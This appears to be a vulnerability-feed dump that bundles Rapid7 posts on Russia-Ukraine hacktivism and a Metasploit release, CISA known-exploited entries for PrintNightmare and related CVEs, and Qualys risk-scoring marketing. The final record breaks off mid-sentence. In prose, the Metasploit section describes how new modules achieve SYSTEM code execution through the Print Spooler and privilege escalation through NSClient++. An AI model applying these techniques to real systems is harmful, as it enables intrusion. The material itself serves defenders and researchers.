[Twitter](<https://twitter.com/darkowlcyber/status/1500552186735910915?s=20&t=zXmKgw6Om_VQMHa6XmN6RQ>)_\n\n_Available in Threat Library as: AnonGhost (for Threat Command customers who want to learn more)_ \n\n\n * **Anonymous claims to hack Russian TV services to broadcast footage of the war with Ukraine**\n\nRussian live TV channels Russia 24, Channel One, and Moscow 24, as well as Wink and Ivi, Netflix like services, have been hacked to broadcast footage of the war with Ukraine according to Anonymous.\n\n_Source: @YourAnonNews via [Twitter](<https://twitter.com/YourAnonNews/status/1500613013510008836?s=20&t=qgOO0Uu5T2UrkqdbjEJeAg>)_\n\n## March 4, 2022\n\nThe NATO Cooperative Cyber Defence Center of Excellence (CCDCOE) announced that [Ukraine will join the group](<https://news.yahoo.com/ukraine-join-nato-cyber-defence-171835083.html>) as a \u201ccontributing participant,\u201d indicating that \u201cUkraine could bring valuable first-hand knowledge of several adversaries within the cyber domain to be used for research, exercises, and training.\u201d\n\nUkraine\u2019s deputy chief of their information protection service [noted in a Friday briefing](<https://www.bloomberg.com/news/articles/2022-03-04/ukraine-s-hacker-army-said-to-be-helped-by-400-000-supporters>) that over 400,000 individuals have volunteered to help a crowdsourced Ukrainian government effort to disrupt Russian government and military targets.\n\n**Threat Intelligence Update**\n\n * ******Russia blocked access to social media platforms and Western news sites******\n\nRussia has prevented its residents access to information channels, including Facebook, Twitter, Western news sites such as the BBC, and app stores. With that, the BBC is now providing access to its website via the Dark Web and has reinstated their BBC shortwave broadcast service.\n\n_Source: [Reuters](<https://www.reuters.com/business/russias-offer-foreign-firms-stay-leave-or-hand-over-keys-2022-03-04/>)_\n\n * **Anonymous-affiliated threat actor hacked and leaked data from the Russian Federal State Budgetary Institution of Science**\n\nThe Russian Federal Guard Service of the Russian Federation was hacked by Anonymous. The hacker published leaked names, usernames, emails, and hashed passwords of people from the institution.\n\n_Source: @PucksReturn via [Twitter](<https://twitter.com/PucksReturn/status/1499757796526542855?s=20&t=LQqanSu2v7L5ONAkpZT1PA>)_\n\n * **Anonymous takes down multiple Russian government websites**\n\nAnonymous claims responsibility for the takedown of a large number of Russian Government websites including one of the main government websites, gov.ru. Most of the websites are still down as of Friday afternoon, March 4.\n\n_Source: @Anonynewsitaly via [Twitter](<https://twitter.com/Anonynewsitaly/status/1499488100405362694?s=20&t=92-u27VSsZLoTAz1KtuOKA>)_\n\n## March 3, 2022\n\n**Additional sanctions:** The US Treasury Dept. [announced another round of sanctions](<https://home.treasury.gov/news/press-releases/jy0628>) on Russian elites, as well as many organizations it characterized as outlets of disinformation and propaganda.\n\n**Public policy:** The Russia-Ukraine conflict is adding momentum to cybersecurity regulatory actions. Most recently, that includes\n\n * **[Incident reporting law](<https://www.hsgac.senate.gov/media/majority-media/senate-passes-peters-and-portman-landmark-legislative-package-to-strengthen-public-and-private-sector-cybersecurity->): **Citing the need to defend against potential retaliatory attacks from Russia, the US Senate passed a bill to require critical infrastructure owners and operators to report significant cybersecurity incidents to CISA, as well as ransomware payments. The US House is now considering fast-tracking this bill, which means it may become law quite soon.\n * **[FCC inquiry on BGP security](<https://www.fcc.gov/document/fcc-launches-inquiry-internet-routing-vulnerabilities>): **\u201c[E]specially in light of Russia\u2019s escalating actions inside of Ukraine,\u201d FCC seeks comment on vulnerabilities threatening the Border Gateway Protocol (BGP) that is central to the Internet\u2019s global routing system.\n\n**CISA threat advisory:** CISA [recently reiterated](<https://twitter.com/CISAJen/status/1499117064006639617?s=20&t=9UfrQnQTUg43QsbKoQOhJA>) that it has no specific, credible threat against the U.S. at this time. It continues to point to its [Shields Up](<https://www.cisa.gov/shields-up>) advisory for resources and updates related to the Russia-Ukraine conflict.\n\n**Threat Intelligence Update**\n\n * ******An Anonymous-affiliated hacking group claims to have hacked a branch Russian Military and Rosatom, the Russian State Atomic Energy Corporation****.**\n\nThe hacktivist group Anonymous and its affiliate have hacked and leaked access to the phone directory of the military prosecutor's office of the southern military district of Russia, as well as documents from the Rosatom State Atomic Energy Corporation.\n\n_Available in Threat Library as: OpRussia 2022 (for Threat Command customers who want to learn more)_\n\n * ******A threat actor supporting Russia claims to have hacked and leaked sensitive information related to the Ukrainian military****.**\n\nThe threat actor \u201cLenovo\u201d claims to have hacked a branch of the Ukrainian military and leaked confidential information related to its soldiers. The information was published on an underground Russian hacking forum.\n\n_Source: XSS forum (discovered by our threat hunters on the dark web)_ \n\n\n * ******An Anonymous hacktivist associated group took down the popular Russian news website lenta.ru******\n\nAs part of the OpRussia cyber-attack campaign, an Anonymous hacktivist group known as \u201cEl_patron_real\u201d took down one of the most popular Russian news websites, **lenta.ru**. As of Thursday afternoon, March 3, the website is still down.\n\n_Available in Threat Library as: El_patron_real (for Threat Command customers who want to learn more)_\n\n_**Additional reading:**_\n\n * [_Conti Ransomware Group Internal Chats Leaked Over Russia-Ukraine Conflict_](<https://www.rapid7.com/blog/post/2022/03/01/conti-ransomware-group-internal-chats-leaked-over-russia-ukraine-conflict/>)\n * [_Russia/Ukraine Conflict: What Is Rapid7 Doing to Protect My Organization?_](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-conflict-what-is-rapid7-doing-to-protect-my-organization/>)\n * [_Staying Secure in a Global Cyber Conflict_](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-staying-secure-in-a-global-cyber-conflict/>)\n * [_Prudent Cybersecurity Preparation for the Potential Russia-Ukraine Conflict_](<https://www.rapid7.com/blog/post/2022/02/15/prudent-cybersecurity-preparation-for-the-potential-russia-ukraine-conflict/>)\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-03-04T14:30:00", "type": "rapid7blog", "title": "Russia-Ukraine Cybersecurity Updates", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-03-04T14:30:00", "id": "RAPID7BLOG:57AB78EC625B6F8060F1E6BD668BDD0C", "href": "https://blog.rapid7.com/2022/03/04/russia-ukraine-cybersecurity-updates/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-09T18:55:38", "description": "## PrintNightmare\n\n\n\nRapid7 security researchers [Christophe De La Fuente](<https://github.com/cdelafuente-r7>), and [Spencer McIntyre](<https://github.com/zeroSteiner>), have added a new module for [CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>), dubbed PrintNightmare. This module builds upon the research of Xuefeng Li, Zhang Yunhai, Zhiniang Peng, Zhipeng Huo, and cube0x0. The module triggers a remote DLL load by abusing a vulnerability in the Print Spooler service. The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request using the MS-RPRN vector, resulting in remote code execution as `NT AUTHORITY\\SYSTEM`.\n\nBecause Metasploit's SMB server doesn't support SMB3 (yet), it's highly recommended to use an external SMB server like Samba that supports SMB3. The [Metasploit module documentation](<https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/admin/dcerpc/cve_2021_1675_printnightmare.md>) details the process of generating a payload DLL and using this module to load it.\n\n[CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>) is being actively exploited in the wild. For more information and a full timeline, see [Rapid7\u2019s blog on PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>)!\n\n## NSClient++\n\nGreat work by community contributor [Yann Castel](<https://github.com/Hakyac>) on their new NSClient++ module. This module allows an attacker with an unprivileged windows account to gain admin access on a windows system and start a shell.\n\nFor this module to work, both the web interface of NSClient++ and the `ExternalScripts` feature should be enabled. You must also know where the NSClient config file is as it is used to read the admin password which is stored in clear text.\n\n## New module content (2)\n\n * [Print Spooler Remote DLL Injection](<https://github.com/rapid7/metasploit-framework/pull/15385>) by Christophe De La Fuente, Piotr Madej, Spencer McIntyre, Xuefeng Li, Zhang Yunhai, Zhiniang Peng, Zhipeng Huo, and cube0x0, which exploits [CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>) \\- A new module has been added to Metasploit to exploit PrintNightmare, aka CVE-2021-1675/CVE-2021-34527, a Remote Code Execution vulnerability in the Print Spooler service of Windows. Successful exploitation results in the ability to load and execute an attacker controlled DLL as the `SYSTEM` user.\n\n * [NSClient++ 0.5.2.35 - Privilege escalation](<https://github.com/rapid7/metasploit-framework/pull/15318>) by BZYO, Yann Castel and kindredsec - This post module allows an attacker to perform a privilege escalation on a machine running a vulnerable version of NSClient++. The module retrieves the admin password from a config file at a customizable path, and so long as NSClient++ has both the web interface and ExternalScriptsfeature enabled, gains a SYSTEM shell.\n\n## Enhancements and features\n\n * [#15366](<https://github.com/rapid7/metasploit-framework/pull/15366>) from [pingport80](<https://github.com/pingport80>) \\- This updates how the msfconsole's history file is handled. It adds a size limitation so the number of commands does not grow indefinitely and fixes a locking condition that would occur when the history file had grown exceptionally large (~400,000 lines or more).\n\n## Bugs fixed\n\n * [#15320](<https://github.com/rapid7/metasploit-framework/pull/15320>) from [agalway-r7](<https://github.com/agalway-r7>) \\- A bug has been fixed in the `read_file` method of `lib/msf/core/post/file.rb` that prevented PowerShell sessions from being able to use the `read_file()` method. PowerShell sessions should now be able to use this method to read files from the target system.\n * [#15371](<https://github.com/rapid7/metasploit-framework/pull/15371>) from [bcoles](<https://github.com/bcoles>) \\- This fixes an issue in the `apport_abrt_chroot_priv_esc` module where if the `apport-cli` binary was not in the PATH the check method would fail.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` and you can get more details on the changes since the last blog post from\n\nGitHub:\n\n * [Pull Requests 6.0.51...6.0.52](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-06-30T14%3A00%3A49-05%3A00..2021-07-08T16%3A19%3A37%2B01%3A00%22>)\n * [Full diff 6.0.51...6.0.52](<https://github.com/rapid7/metasploit-framework/compare/6.0.51...6.0.52>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest.\n\nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the\n\n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {}, "published": "2021-07-09T17:53:41", "type": "rapid7blog", "title": "Metasploit Wrap-up", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-09T17:53:41", "id": "RAPID7BLOG:8DADA7B6B3B1BA6ED3D6EDBA37A79204", "href": "https://blog.rapid7.com/2021/07/09/metasploit-wrap-up-120/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cisa_kev": [{"lastseen": "2023-05-25T15:17:44", "description": "Microsoft Windows Local Security Authority (LSA) contains a spoofing vulnerability allowing an unauthenticated attacker to call a method on the LSARPC interface and coerce the domain controller to authenticate against another server using NTLM.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft Windows Local Security Authority (LSA) Spoofing Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36942"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-36942", "href": "", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-05-25T15:17:44", "description": "Microsoft MSHTML contains a unspecified vulnerability which allows for remote code execution.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft MSHTML Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-40444", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-25T15:17:44", "description": "Microsoft Windows Print Spooler contains an unspecified vulnerability due to the Windows Print Spooler service improperly performing privileged file operations. Successful exploitation allows an attacker to perform remote code execution with SYSTEM privileges. The vulnerability is also known under the moniker of PrintNightmare.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft Windows Print Spooler Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-34527", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2022-06-22T20:42:07", "description": "Over the last five years, the number of vulnerabilities disclosed has doubled. The speed at which vulnerabilities are weaponized and leveraged for mass exploitation is down to mere days (from weeks). For example, mass exploitation of the Log4Shell vulnerability at the end of 2021 occurred <48 hours after initial disclosure. Yet organizations take more than 30 days on average to patch critical vulnerabilities, leaving organizations exposed to unnecessary risk.\n\nQualys pioneered cloud-based vulnerability management software more than two decades ago. When we announced Qualys VMDR in 2020, these broader trends were evident to us. Qualys VMDR consolidated four foundational aspects of vulnerability management into a single all-in-one integrated solution to discover, assess, prioritize, and patch critical vulnerabilities at scale.\n\nThe first generation of Qualys VMDR helped organizations get instant visibility into an increasingly hybrid and fragmented IT infrastructure \u201cin under two seconds\u201d, detected new vulnerabilities faster than ever before (on average in four hours or less), prioritized based on threat intelligence, and remediated faster than traditional patch management solutions.\n\nIn our most recent analysis, Qualys VMDR customers using Qualys Patch Management patched CISA\u2019s Top 15 known exploited vulnerabilities of 2021 up to 60% faster than customers with traditional patch management solutions, dramatically reducing mean time to remediation (MTTR). In short, \u201cQualys VMDR 1.0\u201d revolutionized vulnerability management.\n\n## Defining the Future of Qualys VMDR\n\nAfter we released Qualys VMDR in 2020, we embarked on an in-depth listening tour with our customers. What did they want us to focus on next?\n\nThe recurring theme that emerged was Cyber Risk Management.\n\n[CIOs and CISOs crave answers and insights](<https://blog.qualys.com/qualys-insights/2022/05/31/transitioning-to-a-risk-based-approach-to-cybersecurity>) on some critical questions:\n\n * How can we quantify enterprise risk to measure it reliably and consistently over time?\n * Where is our organization exposed to the highest risk?\n * Which vulnerabilities pose the highest risk to our organization?\n * What actions do we need to take to reduce risk?\n * Which assets or groups of assets pose the highest risk to our organization?\n * How can we measure and communicate the effectiveness of our cybersecurity programs?\n * How can we automate our manual processes so that we respond to threats faster and reduce risk?\n\nIt was clear that to these cybersecurity leaders, it was all about managing cyber risk.\n\nWith that in mind, we've built the next generation of VMDR. We call it Qualys VMDR 2.0.\n\n[Read the Press Release](<https://www.qualys.com/vmdr-2-press-release>)\n\n## About Qualys VMDR 2.0\n\n\n\n[Qualys VMDR 2.0](<https://www.qualys.com/apps/vulnerability-management-detection-response/>) is an all-in-one risk-based vulnerability management solution that quantifies cyber risk. It gives organizations unprecedented insights into their risk posture and provides actionable steps to reduce risk. It also gives cybersecurity and IT teams a shared platform to collaborate and the power to quickly align and automate no-code workflows to respond to threats, thanks to seamless integration with QFlow and [ServiceNow ITSM](<https://www.servicenow.com/products/itsm.html>).\n\nLet\u2019s unpack everything that\u2019s new in this update of Qualys VMDR.\n\n### Accurately Quantify Cyber Risk\n\nRisks posed by modern cybersecurity threats are multifaceted. To accurately assess the true risk to your specific organization from vulnerabilities, assets, or groups of assets requires taking multiple factors into account.\n\nFor example, a vulnerability with CVSS rating of 9, with no exploits available, is a lower risk than a vulnerability that has a CVSS rating of 7.5 but has a weaponized exploit available and is being actively exploited in the wild.\n\nSimilarly, an actively exploited vulnerability is a low risk on an asset if mitigation or compensating controls are applied. One of the classic examples was to disable SMBv1 to defend against WannaCry exploitation (a.k.a. MS17-010). If SMBv1 was disabled, then the risk of exploitation was greatly reduced, hence the risk from that vulnerability on that asset should be lower.\n\nAt the asset level, similar dynamics are at play. Multiple factors need to be considered to determine the true risk of an asset to the organization. Consider questions such as: \n\n * How critical is the asset? \n * Where is it located? Is it internal or internet-facing? \n * What is the criticality of the vulnerabilities on the system? \n * Is the system hardened based on best practice guidance? \n * Is there evidence of malware or end-of-life software or other risk factors? \n\nAfter all, a squeaky-clean asset with no vulnerabilities but poorly misconfigured, thus giving broad unauthorized access to customer data, can be equally damaging to an organization.\n\nVMDR 2.0 with Qualys TruRiskTM automatically assesses multiple factors such as the asset criticality, its location, the vulnerabilities/misconfigurations found on the system, any compensating controls applied on the asset to reduce risk, exploit code maturity on the vulnerabilities, evidence of active exploitation, and many more such factors. Qualys TruRisk quantifies an organization's true risk so that IT and Security teams can focus on what\u2019s important. It does this by introducing multiple risk scores. \n\nLet\u2019s review the kinds of risk scores delivered by Qualys TruRisk.\n\n### Qualys Detection Score (QDS)\n\nQualys Detection Score (QDS) transparently rates the criticality of the Qualys vulnerability finding (i.e. QID) by considering multiple factors such as CVSS base score, exploit code maturity, active exploitation by malware or threat groups, real-time threat indicators, active exploitation in the wild, and most importantly any mitigation or compensating controls applied on the system.\n\nThe QDS score for a QID is specific to the asset on which it is detected. If an asset is protected from a vulnerability due to a compensating control, then the risk is rated lower.\n\nQualys Detection Score (QDS)\n\n### Asset Risk Score (ARS)\n\nQualys Asset Risk Score determines the score of an asset by considering multiple aspects of the asset and provides a transparent, easy-to-understand risk score. The key ingredient to the ARS is the asset\u2019s criticality, which is automatically determined from integration with the customer\u2019s CMDB. It also considers the location of the asset as well as the vulnerabilities and misconfigurations found on the system to determine the score.\n\nAsset Risk Score (ARS)\n\n### Identify Highest Risk Assets in Seconds\n\nThe Qualys risk scores described above form the foundation to quickly assess risk across the organization and understand where the highest risk resides. By combining them with asset tags, asset groups, business units, and Qualys Query Language (QQL) queries, organizations can quickly get a heat map of their risk exposure within seconds, take actions to reduce risk, and track risk reduction over time. These key features help organizations measure the effectiveness of their cybersecurity program.\n\nVDMR 2.0 with Qualys TruRisk Dashboard\n\n## Prioritize the Unprioritized\n\nQualys QDS and Qualys ARS risk scores are powered by in-depth exploit and threat intelligence for more than 180,000 vulnerabilities, sourced from 25+ different threat intelligence sources. These range from exploits available in commercial tools such as Canvas to open-source tools such as Metasploit to trending data that tracks active exploitation of vulnerabilities in the wild. Qualys also tracks exploits published daily on GitHub, which is increasingly becoming the go-to place to publish exploits.\n\nThe real-time collection of both exploit and threat intelligence allows organizations to effectively prioritize vulnerabilities based on risk. These would not have been prioritized by traditional CVSS score-based prioritization since they lack both threat and risk context. In the example below, a medium CVSS score is assigned to CVE-2021-36942 based on [NVD](<https://nvd.nist.gov/vuln/detail/CVE-2021-36942>) data, yet it is rated higher by Qualys TruRisk since it has weaponized exploit code available, evidence of active exploitation by malware and threat groups, and is actively exploited in the wild.\n\n\n\nOur transparent risk prioritization algorithm gives enterprises complete confidence to prioritize even unprioritized vulnerabilities and then to explain these decisions to all relevant stakeholders.\n\n### Close the Gap between IT & Security\n\nFor a vulnerability management program to be successful in any organization, three key elements \u2013 people, processes, and tools \u2013 need to converge and collaborate.\n\nThis is easier said than done.\n\nVulnerability management teams continue to struggle with manual processes relying on spreadsheets or passing PDF reports to IT teams to remediate and track the status of vulnerabilities. This process is inherently prone to errors and exposes organizations to unnecessary risks when critical vulnerabilities take too long to remediate.\n\nOn the other hand, IT teams are overwhelmed with a long list of vulnerabilities to patch\u2026 without a clear understanding of what to patch first, how to track the status of remediation, and how to ensure that SLAs are not breached.\n\nTo address these challenges, Qualys has introduced _Qualys VMDR for ITSM_, a [new certified ServiceNow app](<https://store.servicenow.com/sn_appstore_store.do#!/store/application/3bd20edd1b56fc10203dca22604bcb7c/1.0.5?referer=%2Fstore%2Fsearch%3Flistingtype%3Dallintegrations%25253Bancillary_app%25253Bcertified_apps%25253Bcontent%25253Bindustry_solution%25253Boem%25253Butility%25253Btemplate%26q%3DQualys%2520VMDR&sl=sh>) on the Now Platform, which allows IT and Security teams to share context while working to address vulnerability remediation end to end.\n\nQualys VMDR Apps on ServiceNow Store\n\nIt allows IT teams to import Qualys findings directly into ServiceNow ITSM on-demand or scheduled based on pre-defined criteria. IT can create tickets, assign them to rightful owners, and automatically close them out once the vulnerabilities are remediated.\n\nIt also automatically matches the assets to the configuration items (CI) by default. The CI matching is greatly enhanced with the optional [Qualys CMDB Sync app](<https://store.servicenow.com/sn_appstore_store.do#!/store/application/3ff07b0edba70010c1b3da75ca9619d8/1.3.1?referer=%2Fstore%2Fsearch%3Flistingtype%3Dallintegrations%25253Bancillary_app%25253Bcertified_apps%25253Bcontent%25253Bindustry_solution%25253Boem%25253Butility%25253Btemplate%26q%3DCMDB%2520sync&sl=sh>) available on the ServiceNow store.\n\nQualys VMDR with ITSM Dashboard\n\n### Automate Operational Tasks\n\nQualys VMDR 2.0 also integrates with QFlow technology which delivers drag-and-drop visual workflows that empower team collaboration. They can easily orchestrate complex vulnerability management tasks such as launching scans on ephemeral cloud assets or quarantining high-risk assets, purging terminated assets saving valuable time and resources for both IT and Security teams.\n\nAutomated workflows with QFlow\n\n### Receive Preemptive Attack Alerts\n\nQualys VMDR 2.0 leverages comprehensive threat and exploit intelligence to automatically map malware to CVE's and proactively alert teams on vulnerabilities exploited by malware or those used in an active malicious campaign known to target your organization or industry.\n\nReal time Threat Intelligence\n\n### API-first Solution\n\nQualys VMDR with TruRisk is designed with an API-first approach that helps IT and Security teams get risk insights over API's which can be directly imported from third party platforms to support reporting and analytics use cases. \n\n### All-inclusive with Qualys VMDR\n\nQualys VMDR with TruRisk, Qualys VMDR for ITSM, and all other capabilities discussed in this blog are included with a Qualys VMDR 2.0 license.\n\n## Turbo Charge VMDR 2.0 with Qualys Cloud Platform \n\nThat\u2019s not all. Qualys VMDR 2.0 turbo charges other cloud services on the Qualys Cloud Platform.\n\n### Qualys Cyber Security Asset Management (CSAM)\n\nAutomatically bring attack surface visibility directly into Qualys VMDR with integrations such as Shodan to prioritize assets exposed to the internet.\n\nAutomatically sync business criticality with asset criticality in Qualys to drive accurate asset risk scores.\n\nAccurately identify all assets in Qualys VMDR for ITSM based on accurate matching using our CMDB Sync app.\n\n### Qualys Patch Management (PM)\n\nLeverage Qualys QDS risk scores and patch reliability score to automatically patch vulnerabilities based on risk, including those known to have minimal impact from a operational point of view. Use zero-touch patching to reduce risk instantly. \n\n### Qualys Multi-Vector EDR\n\nCorrelate malware events with vulnerability exploitation, quickly assess other assets vulnerable to the same CVE, and then patch them to stop the propagation of malware.\n\n### Availability \n\nVMDR 2.0 with Qualys TruRisk will be available in late June, 2022. To request a free trial, visit <https://www.qualys.com/forms/vmdr/>.\n\n## Watch VMDR 2.0 LIVE Event\n\nQualys invites you to learn how to manage your company's true risk.\n\nWe launched VMDR 2.0 with a huge event at QSC San Francisco (in parallel with the RSA show) on June 7, 2022. [Register to watch the video](<https://www.qualys.com/vmdr-live>).\n\n## Ready to learn more?\n\n * [Learn more about VMDR 2.0 with Qualys TruRisk](<https://www.qualys.com/apps/vulnerability-management-detection-response/>)\n * [Read blog: Transitioning to a Risk-based Approach to Cybersecurity](<https://blog.qualys.com/qualys-insights/2022/05/31/transitioning-to-a-risk-based-approach-to-cybersecurity>)\n * [Download the updated Qualys VMDR Datasheet](<https://www.qualys.com/docs/vmdr-datasheet.pdf>)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2022-06-06T12:55:00", "type": "qualysblog", "title": "Introducing Qualys VMDR 2.0", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36942"], "modified": "2022-06-06T12:55:00", "id": "QUALYSBLOG:EB91FABB1A5D9C2526980E996ED61260", "href": "https://blog.qualys.com/category/product-tech", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2022-08-09T00:01:22", "description": "_The old way of ranking vulnerabilities doesn\u2019t work anymore. Instead, enterprise security teams need to rate the true risks to their business. In this blog, we examine each of the risk scores delivered by Qualys TruRisk, the criteria used to compute them, and how they can be used to prioritize remediation._\n\nCybersecurity and IT teams are overwhelmed with the sheer number of vulnerabilities that are disclosed daily. More than 40% of the vulnerabilities that are reported are either high or critical in severity. IT teams also have limited resources to patch vulnerabilities so they cannot patch everything. As a result, they need to focus on the right set of vulnerabilities that reduce the maximum amount of risk. \n\nAssessing the risk for a given vulnerability or misconfiguration is easier said than done. Most enterprises prioritize vulnerabilities today based on the [Common Vulnerability Scoring System](<https://www.first.org/cvss/>) (CVSS) rating system. Yet a CVSS rating represents the technical severity of a vulnerability, not the risk it poses to any given organization. This is an inefficient model because organizations end up patching vulnerabilities that may not reduce risk for their specific and unique business. \n\nFor example, CVSS rates the vulnerability CVE-2020-13112 (concerning Amazon Linux Security Advisory for libexif: AL2012-2020-320) at a score of 9.1. This CVE has no known exploits available, and yet is considered a \u201ccritical\u201d vulnerability based on severity. \n\nOn the other hand, CVE-2021-36942 (the Windows LSA Spoofing Vulnerability) is rated at 5.3 by the [National 